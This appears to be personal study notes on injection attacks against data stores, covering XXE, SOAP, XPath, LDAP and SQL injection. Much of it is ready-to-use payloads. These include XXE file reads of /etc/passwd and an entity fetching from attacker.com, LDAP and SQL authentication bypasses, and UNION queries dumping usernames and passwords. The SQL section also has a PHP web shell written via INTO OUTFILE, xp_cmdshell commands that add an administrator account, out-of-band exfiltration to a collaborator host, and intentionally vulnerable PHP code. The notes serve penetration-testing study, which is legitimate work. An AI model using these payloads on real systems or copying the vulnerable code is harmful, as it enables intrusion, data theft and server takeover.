**Attacking Data stores**

* **Sql injection**
* **Xml injections**
  + **xpath injection**
  + **The XML External Entity injection (xxe)**
  + **entity expansion attack**
  + **soap injecting**
* **LDAP injection**
* **Attacking Data store :** 
  + **the most common data stores are {sql databases , xml based repositories , LDAP repositories}**
  + **XMl injections**
    - **XML External Entity injection** (**xxe)**
      * **What is document type definition?**
        + The XML document type definition (DTD) contains declarations that can define the structure of an XML document, the types of data values it can contain, and other items. The DTD is declared within the optional DOCTYPE element at the start of the XML document. The DTD can be fully self-contained within the document itself (known as an "internal DTD") or can be loaded from elsewhere (known as an "external DTD") or can be hybrid of the two
      * **What are XML custom entities ?**
        + XML allows custom entities to be defined within the DTD. For example:

<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>

* + - * + This definition means that any usage of the entity reference &myentity; within the XML document will be replaced with the defined value: "my entity value “
      * **What are XML external entities?**
        + XML external entities are a type of custom entity whose definition is located outside of the DTD where they are declared.
        + The declaration of an external entity uses the SYSTEM keyword and must specify a URL from which the value of the entity should be loaded. For example:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "[http://normal-website.com](http://normal-website.com/)" > ]>

* + - * + The URL can use the file:// protocol, and so external entities can be loaded from file. For example:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "[file:///path/to/file](file:///\\path\to\file)" > ]>

* + - * + XML external entities provide the primary means by which XML external entity attacks arise.
      * **What is XXE attack ?**
        + XML injection manipulates or compromises the logic of an XML application or service. The injection of unintended XML content and/or structures into an XML message can alter the intended logic of an application, and XML
      * **Finding the Vulnerability**
        + Let’s test the application for XML Injection vulnerability step by step using XML Metacharacters -

Single quote:’

Double quote:”

Angular parentheses: > and <

Comment tag: <! — /→

Ampersand: &

CDATA section delimiters: <![CDATA[ / ]]> OR <![CDATA[]]>]]>

* + - * + If any of the above test is successful in throwing an exception during XML parsing, then we can proceed for XML tag injection.
      * **Exploiting xxe**
        + Exploiting XXE to retrieve files, where an external entity is defined containing the contents of a file, and returned in the application's response. Ex :

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ENTITY xxe SYSTEM "[file:///etc/passwd](file:///\\etc\passwd)">]>

<Version>

<email>&xxe;</email>

</Version>

Or from outside of the server : <!ENTITY xxe SYSTEM "<http://www.attacker.com/text.txt>" >]>

* + - * + Exploiting XXE to perform SSRF attacks, where an external entity is defined based on a URL to a back-end system.

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "<http://internal.vulnerable-website.com/>"> ]>

* + - * + Exploiting blind XXE exfiltrate data out-of-band, where sensitive data is transmitted from the application server to a system that the attacker controls.
        + Exploiting blind XXE to retrieve data via error messages, where the attacker can trigger a parsing error message containing sensitive data.
      * Another type of XML injection is where CDATA elements are used to insert malicious content. One example of this is where XML message payloads that contain a CDATA field can be used to inject illegal characters/content that are ignored by the XML parser.
        + <HTML>
        + <![CDATA[<IMG SRC=<http://www.exmaple.com/logo.gif> onmouseover=javascript:alert('Attack');>]]>
        + </HTML>
      * **XXE to RCE**
        + PHP “expect” module is loaded, we can get RCE.

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "<expect://id>" >]>

* + - * **READ php files with xxe**

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ENTITY xxe SYSTEM "[php://filter/](file:///\\\\etc\\passwd)">]>

<Version>

<email>&xxe;</email>

</Version>

* + - **Soap injection**
      * **Definition** 
        + soap use http protocol to transmit data & use xml to represent data  [content-type:application/soap+xml ]
        + vulnerability occur because soap use xml & xml is an interpreted language
        + if we can inject > < /   then it may be vulnerable ; then we try to inject ex </any> in every parameter    if we get an error then it may be vulnerable
      * **Detecting the vulnerability**
        + to test it  Try inserting      </foo>   in each parameter, if you get an error, then input is being used in a SOAP service.
        + SOAP Injection Vulnerability is difficult to detect
        + SOAP Injection Vulnerability is harder to exploit as it needs knowledge of XML Structure, a verbose error message might help in this case. Else its pure guesswork.if there isnt so you need to guess the xml structure to exploit it
      * **Exploiting soap injecting**
        + Expected request format

<Transfer>

    <From>        1235 </From>

    <Amount>      1000 </Amount>

    <To>          54321</To>

</Transfer>

* + - * + After Injection (Injected content in RED)

<Transfer>

    <From>        1235 </From>

    <Amount>      **1000 </Amount>**

**<FundsCleared>True </FundsCleared>**

**<Amount>      1000** </Amount>

    <To>          54321</To>

</Transfer>

* + - * + Request After getting processed by the application *(works if the application process the FIRST <FundsCleared> Tag it encounters)*

<Transfer>

    <From>        1235 </From>

    <Amount>      **1000 </Amount>**

**<FundsCleared>True </FundsCleared>**

**<Amount>      1000** </Amount>

**<FundsCleared>False</FundsCleared>**

    <To>          54321</To>

</Transfer>

* + - * + The Injected content Can include comments to comment out a part of the XML Request **<!-- Comment   -->**

<Transfer>

    <From>        1235 </From>

    <Amount>      **1000 </Amount>**

**<FundsCleared>True </FundsCleared>**

**<!--Amount>   1000 </Amount>**

**<To>**   **--><To>54321**</To>

</Transfer>

* + - * **Preventing soap injection**
        + to prevent it we must html encode any xml character in the user input  " ></ "so that the xml   interpreter  treat them as a part of data value
    - **Xpath injection**
      * **Definition**
        + The XML Path Language (XPath) is an interpreted language used to navigate around XML documents and to retrieve data from within them
        + Where web applications store data within XML documents, they may use XPath to access the data in response to user-supplied input. If this input is inserted into the XPath query without any fi ltering or sanitization, an attacker may be able to manipulate the query to interfere with the application’s logic or retrieve data for which she is not authorized
      * **Example** :
        + Consider the following xml document Example

<addressBook>

<address>

<firstName>William</firstName>

<surname>Gates</surname>

<password>MSRocks!</password>

<email>billyg@microsoft.com</email>

<ccard>5130 8190 3282 3515</ccard>

</address>

<address>

<firstName>Chris</firstName>

<surname>Dawes</surname>

<password>secret</password>

<email>cdawes@craftnet.de</email>

<ccard>3981 2491 3242 3121</ccard>

</address>

<address>

<firstName>James</firstName>

<surname>Hunter</surname>

<password>letmein</password>

<email>james.hunter@pookmail.com</email>

<ccard>8113 5320 8014 3313</ccard>

</address>

</addressBook>

* + - * + An XPath query to retrieve all e-mail addresses would look like this:

//address/email/text()

* + - * + A query to return all the details of the user Dawes would look like this:

//address[surname/text()=’Dawes’]

* + - * **Detecting Xpath vulnerability**
        + Many of the attack strings that are commonly used to probe for SQL injection flaws typically result in anomalous behavior when submitted to a function that is vulnerable to XPath injection. For example, either of the following two strings usually invalidates the XPath query syntax and generates an error:

‘

‘--

* + - * + One or more of the following strings typically result in some change in the application’s behavior without causing an error, in the same way as they do in relation to SQL injection flaws:

‘ or ‘a’=’a

‘ and ‘a’=’b

or 1=1

and 1=2

* + - * + Hence, in any situation where your tests for SQL injection provide tentative evidence for a vulnerability, but you are unable to conclusively exploit the fl aw, you should investigate the possibility that you are dealing with an XPath injection fl aw.
        + Ex : ‘ or ‘a’=’a
        + results in the following XPath query, which retrieves the credit card details of all users:

//address[surname/text()=’Dawes’ and password/text()=’’ or ‘a’=’a’]/ccard/text()

* + - * + ‘ or 1=1 and ‘a’=’a
        + ‘ or 1=2 and ‘a’=’a
      * **Notes**
        + As with SQL injection, single quotation marks are not required when injecting into a numeric value.
        + Unlike SQL queries, keywords in XPath queries are case-sensitive, as are the element names in the XML document itself.
      * **Blind Xpath injection**
        + In the attack just described, the injected test condition specifi ed both the absolute path to the extracted data (address) and the names of the targeted fi elds (surname and password). In fact, it is possible to mount a fully blind attack without possessing this information. XPath queries can contain steps that are relative to the current node within the XML document, so from the current node it is possible to navigate to the parent node or to a specifi c child node. Furthermore, XPath contains functions to query meta-information about the document, including the name of a specifi c element. Using these techniques, it is possible to extract the names and values of all nodes within the document without knowing any prior information about its structure or contents
        + try submitting the following values and determine if they result in a different behaviour without causing an error

   ' or count (parent::\*[position()=1])=0 or 'a'='b

   ' or count (parent::\*[position()=1])>0 or 'a'='b

* + - * + try submitting these if the parameter is numeric  :

   ' or count (parent::\*[position()=1])=0

  ' or count (parent::\*[position()=1])>0

* + - * + if any of these caused a different behaviour without causing an error its likely vulnerable to xpath
        + **Note :**

XPath contains two useful functions that can help you automate the preceding attack and quickly iterate through all nodes and data in the XML document:

count() returns the number of child nodes of a given element, whichcan be used to determine the range of position() values to iterate over.

string-length() returns the length of a supplied string, which can be used to determine the range of substring() values to iterate over.

* + - * **Preventing xpath injection**
        + If you think it is necessary to insert user-supplied input into an XPath query, this operation should only be performed on simple items of data that can be subjected to strict input validation. The user input should be checked against a white list of acceptable characters, which should ideally include only alphanumeric characters. Characters that may be used to interfere with the XPath query should be blocked, including ( ) = ‘ [ ] : , \* / and all whitespace. Any input that does not match the white list should be rejected, not sanitized
      * **Tools :**
        + XCat is a tool written in Python 3, which can help you retrieve information using XPath injection vulnerabilities
  + **LDAP injections** 
    - **Definition**
      * LDAP Injection is an attack technique used to exploit web sites that construct LDAP statements from user-supplied input.
      * Lightweight Directory Access Protocol (LDAP) is an open-standard protocol for both querying and manipulating X.500 directory services. The LDAP protocol runs over Internet transport protocols, such as TCP. (LDAP) is used to access directory services over a network. A directory is a hierarchically organized data store that may contain any kind of information but is commonly used to store personal data such as names, telephone numbers, e-mail addresses, and job functions.
      * Common examples of LDAP are the Active Directory used within Windows domains, and OpenLDAP, used in various situations. You are most likely to encounter LDAP being used in corporate intranet-based web applications, such as an HR application that allows users to view and modify information about employees
    - **Ldap Search query filters** 
      * Each LDAP query uses one or more search filters, which determine the directory entries that are returned by the query. Search filters can use various logical operators to represent complex search conditions. The most common search filters you are likely to encounter are as follows:
      * **Simple match conditions** match on the value of a single attribute. For example, an application function that searches for a user via his username might use this filter:
        + (username=daf)
      * **Disjunctive queries** specify multiple conditions, any one of which must be satisfied by entries that are returned. For example, a search function that looks up a user-supplied search term in several directory attributes might use this filter:
        + (|(cn=searchterm)(sn=searchterm)(ou=searchterm))
      * **Conjunctive queries** specify multiple conditions, all of which must be satisfied by entries that are returned. For example, a login mechanism implemented in LDAP might use this filter:
        + (&(username=daf)(password=secret))
    - **Detecting LDAP injection vulnerability**
      * Try entering just the \* character as a search term. This character functions as a wildcard in LDAP, but not in SQL. If a large number of results are returned, this is a good indicator that you are dealing with an LDAP query.
      * Try entering a number of closing brackets: )))))))))) This input closes any brackets enclosing your input, as well as those that encapsulate the main search filter itself. This results in unmatched closing brackets, thus invalidating the query syntax. If an error results, the application may be vulnerable to LDAP injection. (Note that this input may also break many other kinds of application logic, so this provides a strong indicator only if you are already confident that you are dealing with an LDAP query.
      * Try entering various expressions designed to interfere with different types of queries, and see if these allow you to influence the results being returned. The cn attribute is supported by all LDAP implementations and is useful to use if you do not know any details about the directory you are querying. For example:
        + )(cn=\*
        + \*))(|(cn=\*
        + \*))%00
    - **Ldap injection Authentication Bypass**
      * **First step know the query structure by trying to generate an error**
        + \*)
        + )(cn=\*
        + \*))(|(cn=\*
        + \*))%00
        + Ex : ERROR : Invalid LDAP syntax : (&(uid=\*))(userPassword=111))
        + The original query was

$filter =” (&(uid=”.$\_POST[‘uid’].”)(userPassword=”.$\_POST[‘pass’].”))”;

* + - * **Rebuild the query**
        + Once we knew the query we start to rebuild it to bypass the authentication
        + Username= \*)(|(userPassword=\*
        + Password= anything)
    - **Blind ldap injection**
      * Suppose that an attacker can infer from the server responses, although the application does not show error messages, the code injected in the LDAP filter generates a valid response (true result) or an error (false result). The attacker could use this behavior to ask the server true or false questions. These types of attacks are named “Blind Attacks”. Blind LDAP Injection attacks are slower than classic ones but they can be easily implemented, since they are based on binary logic, and they let the attacker extract information from the LDAP Directory
      * To directly query an LDAP server, the attacker needs to know (or guess) the attribute names so they can be specified in a filter. Blind LDAP injection is a more advanced exploitation technique for extracting unknown information by sending multiple requests and checking server responses to determine if the query is valid. Combined with additional optimizations and automation, this allows attackers to obtain information using a series of yes/no questions: a valid server response means “yes”, and a server error means “no”. Effective blind injection
      * **Steps of Exploitation**
        + **Attribute discovery**

Attackers can query a variety of likely attributes and monitor server responses. If an attribute exists, the server will return a valid response. Otherwise, an error or empty response is returned. Let’s say an application unsafely constructs an AND filter to retrieve users, such as:

(&(userID=John Doe)(objectClass=user))

If the attacker can manipulate the user ID value, they can inject code like the following to check if user objects in this directory have a department attribute:

(&(userID=John Doe)(department=\*))(objectClass=user))

If the department attribute exists (and John Doe is a valid user ID), the server will return a valid response. Otherwise, the attacker can try other attribute names.

* + - * + **Booleanization**

Once an attribute name is known, the attacker can send a series of requests containing wildcards and/or comparison operators to determine specific attribute values. Again, only two server responses are considered, so booleanization is the process of transforming the search process into a series of true/false tests.

Let’s say the department attribute from the previous example exists. To discover the department name, the attacker can start by injecting the following code to check the first letter:

(&(userID=John Doe)(department=a\*))(objectClass=user))

A valid server response means that a department starting with the letter “a” exists. The attacker can continue the process for ab\*, ac\*, and so forth, to discover subsequent characters. For numeric values, the operators <= (less than or equal to) and >= (greater than or equal to) can be used to go through the likely value space

* + - * + **Character set reduction**

To minimize the number of requests, attackers can use multiple wildcards to find out which characters are present anywhere in the target value. For example, a valid server response for the following injection:

(&(userID=John Doe)(department=\*x\*))(objectClass=user))

means that a department name containing the letter “x” exists. If an error or empty response is returned, the attacker can eliminate this character from the scan. This can greatly reduce the number of requests needed to find the target value

* + - * **Resources**
        + https://www.netsparker.com/blog/web-security/ldap-injection-how-to-prevent/
    - **Preventing LDAP injection**
      * If it is necessary to insert user-supplied input into an LDAP query, this operation should be performed only on simple items of data that can be subjected to strict input validation. The user input should be checked against a white list of acceptable characters, which should ideally include only alphanumeric characters. Characters that may be used to interfere with the LDAP query should be blocked, including ( ) ; , \* | & = and the null byte. Any input that does not match the white list should be rejected, not sanitized.

**SQL INJECTION:**

* **introduction :**
  + sql is an interpreted language that can be used to read , update ,add , delete data in database
  + Sql injection allow us to read and modify all data stored within the databased and even take full control of the server on which data base is running
  + http://widgetshop.com/widget/?id=1 or 1=1
    - The entire URL probably looked something like this
  + SELECT \* FROM Widget WHERE ID = 1 OR 1=1
    - Sql statement looked something like this
  + Most common DBMS
    - Mysql
    - MS\_SQL (microsoft)
    - Oracle
    - Postgresql
    - SqlLite
  + There are four main types of operations at the database layer :
    - SELECT: read data from the database based on searching criteria
    - INSERT: insert new data into the database
    - UPDATE: update existing data based on given criteria
    - DELETE: delete existing data based on given criteria
  + Basic SQL instructions
    - show databases;
    - use database\_name;
    - show tables;
    - select \* From table\_name;
    - select column\_name From Table\_name ;
    - select column\_name From Table\_name1 UNION select column\_name From Table\_name2 ;
      * to use union the nb of column printed in the first table must be = the number of column printed of the second database otherwise there will generate an error like "the used Select Statement have a different number of columns"
      * Ex this will generate an error because nb of columns are not equal
        + select column\_name1 , coumn\_name2 From Table\_name1 UNION select column\_name1 From Table\_name2 ;
* **SQL Injection can be broken up into 3 classes** :
  + **Inband** - data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page ex: Error-Based, and Union-Based SQL Injections
    - **Error-Based SQL Injection :** Asking the DB a question that will cause an error, and gleening information from the error
    - **Union-Based SQL Injection** : The SQL UNION is used to combine the results of two or more SELECT SQL statements into a single result. Really useful for SQL Injection :)
  + **Inferential** –(blind sql injection )unlike in-band SQLi, no error output to know if its vulnerable to sql or no no data is actually transferred via the web application and the attacker would not be able to see the result of an attack in-band (which is why such attacks are commonly referred to as “[blind SQL Injection attacks](https://www.acunetix.com/websitesecurity/blind-sql-injection/)”). Instead, an attacker is able to reconstruct the database structure by sending payloads, observing the web application’s response and the resulting behavior of the database server. The two types of inferential SQL Injection are Blind-boolean-based SQLi and Blind-time-based SQLi.
    - **Boolean-based (content-based) Blind SQLi**
      * Boolean-based SQL Injection is an inferential SQL Injection technique that relies on sending an SQL query to the database which forces the application to return a different result depending on whether the query returns a TRUE or FALSE result.
      * Payload Example :
        + 11’ and ‘N’ =’N -> TRUE statement
        + 11’ and ‘N’ =’A -> False statement
        + Substring(‘Ahmed’,1,1) =’A’ -> TRUE
    - **Time-based Blind SQLi**
      * Time-based SQL Injection is an inferential SQL Injection technique that relies on sending an SQL query to the database which forces t he database to wait for a specified amount of time (in seconds) before responding. The response time will indicate to the attacker whether the result of the query is TRUE or FALSE. Depending on the result, an HTTP response will be returned with a delay, or returned immediately.
        + **Oracle :** dbms\_pipe.receive\_message(('a'),10)
        + **Microsoft (MS\_SQL) :** WAITFOR DELAY '0:0:10'
        + **PostgreSQL :** SELECT pg\_sleep(10)
        + **MySQL :** SELECT sleep(10)
        + Conditional time delays

You can test a single Boolean condition and trigger a time delay if the condition is true

**MySQL :** SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a')

* + **Out-of-Band** - These attacks work by retrieving information through alternative channels, such as emails, file systems, HTTP requests, or DNS resolutions. Out-of-band SQL injection is useful once all in-band and blind injection methods have been exhausted. Out-of-band SQLi techniques would rely on the database server’s ability to make DNS or HTTP requests to deliver data to an attacker.
    - Ex : ?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE '\\\\yourhost.com\\share\\output.txt')  
      Writes data to your shared folder/file
    - SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'
* **check if the web app is vulnerable :**
  + We must make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error. The very first test usually consists of adding a single quote ('), double quote ("") or a semicolon (;) to the field under test.
  + Another interesting test you can conduct to identify vulnerabilities in Oracle and PostgreSQL is to send the following two requests to the Web server:
    - http://www.victim.com/showproducts.php?category=bikes
    - <http://www.victim.com/showproducts.php?category=bi'||'kes>
  + The Microsoft SQL Server equivalent is:
    - http://www.victim.com/showproducts.php?category=bikes
    - <http://www.victim.com/showproducts.php?category=bi'+'kes>
  + The MySQL equivalent (note the space between the single quotes) is:
    - http://www.victim.com/showproducts.php?category=bikes
    - <http://www.victim.com/showproducts.php?category=bi''kes>
  + If the result of both requests is the same, there is a high possibility that there is a SQL injection vulnerability
* **Exploiting Sql injection :** 
  + **injecting into insert statement**
    - For example, an application may allow users to self-register, specifying their own username and password, and may then insert the details into the users table with the following statement:
      * INSERT INTO users (username, password, ID, privs) VALUES (‘daf’, ‘secret’, 2248, 1)
    - If the username or password field is vulnerable to SQL injection, an attacker can insert arbitrary data into the table, including his own values for ID and privs.
    - However, to do so he must ensure that the remainder of the VALUES clause is completed gracefully. In particular, it must contain the correct number of data items of the correct types. For example, injecting into the username field, the attacker can supply the following:
      * foo’, ‘bar’, 9999, 0)—
    - This creates an account with an ID of 9999 and privs of 0. Assuming that the privs fi eld is used to determine account privileges, this may enable the attacker to create an administrative user
    - When attempting to inject into an INSERT statement, you may not know in advance how many parameters are required, or what their types are. In the preceding situation, you can keep adding fields to the VALUES clause until the desired user account is actually created. For example, when injecting into the username field, you could submit the following:
      * foo’)--
      * foo’, 1)--
      * foo’, 1, 1)--
      * foo’, 1, 1, 1)--
    - Because most databases implicitly cast an integer to a string, an integer value can be used at each position. In this case the result is an account with a username of foo and a password of 1, regardless of which order the other fields are in. If you find that the value 1 is still rejected, you can try the value 2000, which many databases also implicitly cast to date-based data types. When you have determined the correct number of fields following the injection point,
    - on MS-SQL you can add a second arbitrary query and use one of the inference-based techniques described later in this chapter.
    - In Oracle, a subselect query can be issued within an insert query. This subselect query can cause a success or failure of the main query, using the inference-based techniques
  + **injecting into update statement**
    - A typical UPDATE statement works much like an INSERT statement, except that it usually contains a WHERE clause to tell the database which rows of the table to update. For example, when a user changes her password, the application might perform the following query:
      * UPDATE users SET password=’newsecret’ WHERE user = ‘marcus’ and password = ‘secret’
    - This query in effect verifies whether the user’s existing password is correct and, if so, updates it with the new value. If the function is vulnerable to SQL injection, an attacker can bypass the existing password check and update the password of the admin user by entering the following username: admin’--
  + **injecting into delete statement**
  + **injecting into select statement :** the most common sql injection arises in select statements
    - **authentication bypass** : (when login)
      * known username
        + Username ‘ --
        + Admin’—
      * doesn’t know any specific username
        + login as the first user stored in the database (usually the admin )

anything' or 1=1 ; #

or 1=1 --

or '1'='1' –

or 2>1

or ‘ahmed’ > ‘a’

tom' or 1=1 LIMIT 1;#

or &#x27; 1 &#x27; = &#x27; 1 &#x27; --

|| %27 1 %27 = %27 1 %27 --

or '1'='1' ##

or '1'='1' ((

* + - * In some situations, an alternative way to handle the trailing quotation mark without using the comment symbol is to “balance the quotes.” You finish the injected input with an item of string data that requires a trailing quote to encapsulate it. For example, entering the search term:
        + Wiley’ OR ‘a’ = ‘a
        + results in the query:
        + SELECT author,title,year FROM books WHERE publisher = ‘Wiley’ OR
        + ‘a’=’a’ and published=1
        + This is perfectly valid and achieves the same result as the 1 = 1 attack
      * If we do encounter errors when our payload is returning multiple rows, we can instruct the query to return a fixed number of records with the LIMIT statement: some app restrict that the return is 1 record only so we use **limit 1**
      * sql payloads
        + <https://github.com/trietptm/SQL-Injection-Payloads?fbclid=IwAR3ESXc0ZSx0tGBgE5UoNigMgZbeCyZShnZnfiZOuefZ3B-0L3NzwOoic-Q>
      * **vulnerable code:**
        + $conn = mysql\_connect("localhost","username","password"); // connect to the database
        + $query = "SELECT \* FROM Products WHERE Price < '$\_GET["val"]' ORDER BY ProductDescription";
        + $result = mysql\_query($query); // execute the query against the database
        + while($row = mysql\_fetch\_array($result, MYSQL\_ASSOC)) // iterate through the record set
        + { // display the results to the browser
        + echo "Description : {$row['ProductDescription']} <br>".
        + "Product ID : {$row['ProductID']} <br>"; }
        + **Another example :**

if ( ! empty( $\_POST ) ) {

if (isset($\_POST['username']) && isset($\_POST['password']) ) {

$sql="select \* from users where username ='" . $\_POST['username'] . "' and password = '" . $\_POST['password'] . "'";

$result = $conn->query($sql);

if(!$result) {

trigger\_error("invalid query: " . $conn->error); }

if( $result->num\_rows == 1 ) { #important we must use LIMIT 1

$\_SESSION['user'] = $\_POST['username'];

header("Location:admin.php");

} else { echo "<div class=\"alert alert-danger\">Wrong username or password</div>"; } }

* + - **Database enumeration** :
      * We can also use SQL injection attacks to enumerate the database. For example, we need to know column and table names if we are going to extract data from them.
      * **Column Number Enumeration**
        + We can add an order by clause to the query for simple enumeration. This clause tells the database to sort the results of the query by the values in one or more columns. by "order by 1" This query instructs the database to sort the results based on the values in the first column. If there is at least one column in the query, the query is valid and the page will render without errors. We can submit multiple queries, incrementing the order by clause each time until the query generates an error, indicating that the maximum number of columns returned by the query in question has been exceeded **ORDER BY N**

?param=5 order by 1 /\* <-- no error

? param =5 order by 2 # <-- no error

? param =5 order by 3 -- <-- no error

? param =5 order by 4 /\*

error (you get message like this Unknown column '4' in 'order clause' or something like that)

2' order by 3 -- '

you can close the quotes ‘ at the end to prevent syntax errors.

anything; order by 4 --

untill i get an error so it failed on 4 that means we have 3 columns in that table

You also need to add spaces before and after the comments (the browser replaces them with + in the address bar)

this method is good when there is a firewall

**So the idea here that we will try to increase the number until we get an error , once we get an error the number of columns will be N-1**

* + - * **Understanding the Layout of the Output :**
        + Now that we know how many columns are in the table, we can use this information to extract further data with a UNION statement. Unions allow us to add a second select statement to the original query, extending our capability, but each select statement must return the same number of columns. We know the query selects three columns based on our enumeration. However, only two columns are displayed on the webpage. Our next step is to determine which columns are displayed. If we use a union to extract useful data, we want to make sure the data will be displayed. We need to better understand our output so we can begin to build a meaningful database extraction.
        + First, let’s get an idea of which columns are being displayed in the page. We will use a UNION to do this. We can specify literal values instead of looking up values from a table. Since we have three columns, we will add “union all select 1, 2, 3” to our payload. This new select state will return one row with three columns with values of 1, 2, and 3. Our payload is now this:

? param =5 UNION select 1, 2, 3 --

? param =5 UNION select 1.2 #

* + - * + Or try with we can try to probe each column to test whether it can hold string data by submitting a series of UNION SELECT payloads that place a string value into each column in turn If the data type of a column is not compatible with string data, the injected query will cause a database error, such as: Conversion failed when converting the varchar value 'a' to data type int.

? param =5 ' UNION SELECT 'a',NULL,NULL, --

? param =5 ' UNION SELECT NULL,'a',NULL #

? param =5 ' UNION SELECT NULL,NULL,'a' --

* + - * + Note

**You will encounter an error when you are attempting a UNION SELECT attack, and you have specified a different data type from that found in the original SELECT statement in {oracle and MSSQL databases but won’t generate an error in mysql}**

Ex : ? param =text**’** union all select 1, 2, 3 --

* + - * **Data extraction**
        + union all select 1, 2, user() --

//know the current user

* + - * + UNION SELECT 1 , 2 , database() --

// know database name

* + - * + UNION SELECT table\_schema FROM information\_schema.tables --
        + UNION SELECT table\_schema FROM information\_schema.tables where table\_schema=dbname\_in\_hex\_encoding --

//know the table names

* + - * + union all select 1, 2, column\_name from information\_s chema.columns where table\_name='users' --

//retrieve the column names for users tables

* + - * + union all select 1, username, password from users

//show users and passwords in users tables

* + - * + Notes

If you get an error like : "union + illegal mix of collations (IMPLICIT + COLLATIONS) ..."

you can use convert() function , or with hex() and unhex()

http://$ip/news.php?id=5 union all select 1,convert(@@version using latin1),3 --

http://$ip/news.php?id=5 union all select 1,unhex(hex(@@version)),3/\*

If just only one column is vulnerable we can concatenate the output by concat() function

' UNION SELECT concat(user,char(58),password),2 FROM users #

* + - * **DBMS SQL syntax** 
        + Grab the database user

Mysql : user()

MS-SQL : suser\_sname()

Oracle : Sys.login\_user from dual SELECT user FROM dual SYS\_CONTEXT(‘USERENV’, ‘SESSION\_USER’)

* + - * + Grab the database name

Mysql :database()

MS\_SQL : db\_name()

Oracle : SYS\_CONTEXT(‘USERENV’,’DB\_NAME’) FROM dual

* + - * + Grab the database version

Mysql : @@version

MS\_SQL : @@version

Oracle : banner from v$version

* + - * + Retrieve current user’s privilege

Oracle: SELECT privilege FROM session\_privs

MS-SQL: SELECT grantee, table\_name, privilege\_type FROM INFORMATION\_SCHEMA.TABLE\_PRIVILEGES

MySQL: SELECT \* FROM information\_schema.user\_privileges WHERE grantee = ‘[user]’ where [user] is determined from the output of SELECT user()

* + - * + Show table names for a

Oracle: SELECT table\_name, name FROM user\_tab\_columns

MS-SQL/ MySQL

select TABLE\_NAME FROM information\_schema.tables

//get all table names in all databases

select TABLE\_NAME FROM information\_schema.tables where table\_schema='database\_name';

//get all tablenames in the database specified

* + - * + Show column names for a specific table

Oracle: SELECT column\_name, name FROM user\_tab\_columns WHERE table\_name = ‘FOO’

MS-SQL/Mysql

select COLUMN\_NAME FROM information\_schema.columns where table\_name='table\_name';

get all columns names in the table specified

SELECT \* FROM information\_schema.columns WHERE table\_name = 'TABLE-NAME-HERE'

* + - * + Grab the database data directory

@@datadir

* + - * + Sqlite

‘or (select sql from sqlite\_master) or ‘

* + - * + NOTES

The **information\_schema** is supported by MS-SQL, MySQL, and many other databases, including SQLite and Postgresql. It is designed to hold database metadata, making it a primary target for attackers wanting to examine the database. Note that Oracle doesn’t support this schema. When targeting an Oracle database, the attack would be identical in every other way. However, you would use the query SELECT table\_name,column\_name FROM all\_tab\_ columns to retrieve information about tables and columns in the database. (You would use the user\_tab\_columns table to focus on the current database only.) When analyzing large databases for points of attack, it is usually best to look directly for interesting column names rather than tables. For instance:

SELECT table\_name,column\_name FROM information\_schema.columns where column\_name LIKE ‘%PASS%’

The most important columns in information\_schema are

TABLE\_SCHEMA : contains all the databases

TABLE\_NAME : contains all table names in all databases

COLUMNS\_NAME : contains all columns names in all databases

To summarize how to Extract data from databases

1- know nb of columns to be able to use the UNION statement

GROUP BY N --+

2- know which columns are being displayed in the page

3- gather info From the database with UNION statement

UNION SELECT 1,2,..,N-1 --+

* + - * **vulnerable code :**
        + if (isset($\_GET['id'])) {
        + $sql = "SELECT id, name, text FROM feedback WHERE id=". $\_GET['id'];
        + $result = $conn->query($sql);
        + if (!$result) {
        + trigger\_error('An error occured: ' . $conn->error);
        + } else if ($result->num\_rows > 0) {
        + while($row = $result->fetch\_assoc()) {
        + echo "<tr><td> " . $row["name"]. "</td><td>" . $row["text"]. "</td></tr>"; }
        + } else { echo "No results. Specify an id."; }
        + } else { echo "No results. Specify an id in your URL like ?id=1."; }
    - **From SQL Injection to Code Execution :**
      * using sql injection to load file from server
        + id=1 union all select 1, 2, load\_file('C:/Windows/System32 /drivers/etc/hosts')
        + ' UNION SELECT null,load\_file('etc/passwd'),null,null,null--
        + union all select 1, 2, "<?php echo shell\_exec($\_GET[' cmd']);?>" into OUTFILE 'c:/xampp/htdocs/backdoor.php'

// INTO OUTFILE function to create a malicious PHP file in the server’s web root.

* + - * Interact with the operating system (simplest ways)
        + Oracle: See The Oracle Hacker’s Handbook by David Litchfi eld
        + MS-SQL: EXEC xp\_cmshell ‘dir c:\ ‘

"xp\_cmdshell" Stored procedures, executes any command shell in the server with the same permissions that it is currently running.

By default, only sysadmin is allowed to use it and in SQL Server 2005 it is disabled by default (it can be enabled again using sp\_configure)

EXEC master.dbo.xp\_cmdshell 'command' ;--

EXEC master.dbo.xp\_cmdshell 'net user cwh cwh1234 /add' ;--

//Use for add user "cwh" into system.

EXEC master.dbo.xp\_cmdshell 'net localgroup administrators cwh /add' ;--

//Use for escalating privilege "cwh" to admin group

* + - * + MySQL: SELECT load\_file(‘/etc/passwd’)
    - **Bypass filters :**
      * Blocked Select statement :
        + SeLeCt
        + %00SELECT
        + SELSELECTECT
        + %53%45%4c%45%43%54
        + %2553%2545%254c%2545%2543%2554
      * Blocked comment symbol :
        + instead of injecting:

‘ or 1=1—

* + - * + you can inject:

‘ or ‘a’=’a

* + - * **ASCII and SUBSTRING**
        + Oracle:

ASCII(‘A’) is equal to 65

SUBSTR(‘ABCDE’,2,3) is equal to BCD

* + - * + MS-SQL:

ASCII(‘A’) is equal to 65

SUBSTRING(‘ABCDE’,2,3) is equal to BCD

* + - * + MySQL:

ASCII(‘A’) is equal to 65

SUBSTRING(‘ABCDE’,2,3) is equal to BCD

* + - * Try to encode the statement like hex , url , ect…
* **SQL Error Messages**
